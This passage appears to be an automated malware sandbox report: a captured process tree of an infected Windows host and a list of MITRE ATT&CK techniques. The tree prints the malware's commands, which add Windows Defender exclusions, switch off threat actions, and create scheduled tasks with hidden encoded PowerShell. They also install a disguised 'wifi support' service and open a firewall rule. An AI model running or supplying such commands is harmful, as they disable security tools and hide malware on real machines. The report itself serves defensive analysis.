C:\Users\Admin\AppData\Roaming\vrbtctj
2⤵
PID:6040

C:\Users\Admin\AppData\Roaming\idbtctj
C:\Users\Admin\AppData\Roaming\idbtctj
2⤵
PID:6052

C:\Program Files\Mozilla Firefox\default-browser-agent.exe
"C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
2⤵
PID:2332

C:\Users\Admin\AppData\Local\Temp\8862.exe
C:\Users\Admin\AppData\Local\Temp\8862.exe
1⤵
PID:4488

C:\Users\Admin\AppData\Local\Temp\C478.exe
C:\Users\Admin\AppData\Local\Temp\C478.exe
1⤵
PID:4596

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-89833503815329403261375516513-968117817-379197843-1615634417-534089567-1515261144"
1⤵
PID:2588

C:\Users\Admin\AppData\Local\Temp\589D.exe
C:\Users\Admin\AppData\Local\Temp\589D.exe
1⤵
PID:2288

C:\Users\Admin\AppData\Local\Temp\1BCD.exe
C:\Users\Admin\AppData\Local\Temp\1BCD.exe
1⤵
PID:4060

C:\Users\Admin\AppData\Local\Temp\C739.exe
C:\Users\Admin\AppData\Local\Temp\C739.exe
1⤵
PID:3532

C:\Users\Admin\AppData\Local\Temp\C739.exe
C:\Users\Admin\AppData\Local\Temp\C739.exe
2⤵
PID:1948

C:\Users\Admin\AppData\Local\Temp\3CA8.exe
C:\Users\Admin\AppData\Local\Temp\3CA8.exe
1⤵
PID:2208

C:\Users\Admin\AppData\Local\Temp\3CA8.exe
C:\Users\Admin\AppData\Local\Temp\3CA8.exe
2⤵
PID:2336

C:\Users\Admin\AppData\Local\Temp\NetFrame.exe
"C:\Users\Admin\AppData\Local\Temp\NetFrame.exe"
3⤵
PID:6096

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 6096 -s 1608
4⤵
- Program crash
PID:1688

C:\Windows\system32\taskeng.exe
taskeng.exe {BB97F223-AC68-4BC5-83DA-D2BC9A5A3E4B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:3892

C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\eSqcfxF.exe
C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\eSqcfxF.exe uG /site_id 394347 /S
2⤵
PID:4472

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
3⤵
PID:2176

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:3868

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:2948

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gkZaSodar" /SC once /ST 10:38:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:560

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gkZaSodar"
3⤵
PID:3080

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gkZaSodar"
3⤵
PID:3172

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3916

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3056

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1124

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4644

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4464

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4532

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1128

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2092

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\mlmrxyCihFugMjhe\ffBWyCRf\GaCkNRkGqnendoyj.wsf"
3⤵
PID:2800

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\mlmrxyCihFugMjhe\ffBWyCRf\GaCkNRkGqnendoyj.wsf"
3⤵
PID:2420

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DOWaNXZtDJLiC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1116

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EHjpVGHxoTMU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DOWaNXZtDJLiC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2244

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RQzLvVUNU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4708

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EHjpVGHxoTMU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4280

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RQzLvVUNU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3600

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5036

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVgZiWyyyxUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NKsRZGTfNWtvCUVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVgZiWyyyxUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2268

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4272

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NKsRZGTfNWtvCUVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2800

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4044

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn" /t REG_DWORD /d 0 /reg:64
4⤵
- Executes dropped EXE
PID:3320

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DOWaNXZtDJLiC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EHjpVGHxoTMU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4064

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DOWaNXZtDJLiC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3116

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RQzLvVUNU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4424

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EHjpVGHxoTMU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3368

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3924

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RQzLvVUNU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4032

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVgZiWyyyxUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4460

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4020

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NKsRZGTfNWtvCUVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2848

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVgZiWyyyxUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2880

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4620

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NKsRZGTfNWtvCUVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2244

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5164

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5152

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5188

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "YqJChhYnTMHzkMjCc" /SC once /ST 10:22:11 /RU "SYSTEM" /TR "\"C:\Windows\Temp\mlmrxyCihFugMjhe\GODdmYHTnpCwNhO\CtLWXWs.exe\" lA /site_id 394347 /S" /V1 /F
3⤵
- Creates scheduled task(s)
PID:5220

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "YqJChhYnTMHzkMjCc"
3⤵
PID:5604

C:\Windows\Temp\mlmrxyCihFugMjhe\GODdmYHTnpCwNhO\CtLWXWs.exe
C:\Windows\Temp\mlmrxyCihFugMjhe\GODdmYHTnpCwNhO\CtLWXWs.exe lA /site_id 394347 /S
2⤵
PID:6008

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
3⤵
PID:5544

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:5136

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:5224

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bvmcjEjDUxHOOxIZsK"
3⤵
PID:2800

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:2748

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
4⤵
PID:3060

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:5796

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:652

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\RQzLvVUNU\gyJMUg.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "RulYNORIEfYpYdh" /V1 /F
3⤵
- Creates scheduled task(s)
PID:4800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:1048

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-9102265231989545827187659630520136599063986438036861378371117146001-812681221"
1⤵
- Executes dropped EXE
PID:3256

C:\Users\Admin\AppData\Local\Temp\AE4F.exe
C:\Users\Admin\AppData\Local\Temp\AE4F.exe
1⤵
PID:5576

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sekdzvcp\
2⤵
PID:5660

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fmkvavjx.exe" C:\Windows\SysWOW64\sekdzvcp\
2⤵
PID:5676

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create sekdzvcp binPath= "C:\Windows\SysWOW64\sekdzvcp\fmkvavjx.exe /d\"C:\Users\Admin\AppData\Local\Temp\AE4F.exe\"" type= own start= auto DisplayName= "wifi support"
2⤵
PID:5696

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description sekdzvcp "wifi internet conection"
2⤵
PID:5708

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start sekdzvcp
2⤵
PID:5728

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
2⤵
PID:5800

C:\Users\Admin\pfamgswo.exe
"C:\Users\Admin\pfamgswo.exe" /d"C:\Users\Admin\AppData\Local\Temp\AE4F.exe"
2⤵
PID:5948

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\euuujagy.exe" C:\Windows\SysWOW64\sekdzvcp\
3⤵
PID:2648

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" config sekdzvcp binPath= "C:\Windows\SysWOW64\sekdzvcp\euuujagy.exe /d\"C:\Users\Admin\pfamgswo.exe\""
3⤵
PID:3116

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start sekdzvcp
3⤵
PID:4464

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
3⤵
PID:4460

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\0313.bat" "
3⤵
- Blocklisted process makes network request
PID:2388

C:\Users\Admin\AppData\Local\Temp\6040.exe
C:\Users\Admin\AppData\Local\Temp\6040.exe
1⤵
PID:4568

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:5220

C:\Users\Admin\AppData\Local\Temp\1695.exe
C:\Users\Admin\AppData\Local\Temp\1695.exe
1⤵
PID:5872

C:\Users\Admin\AppData\Local\Temp\C9AF.exe
C:\Users\Admin\AppData\Local\Temp\C9AF.exe
1⤵
PID:3004

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

File Permissions Modification

T1222

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery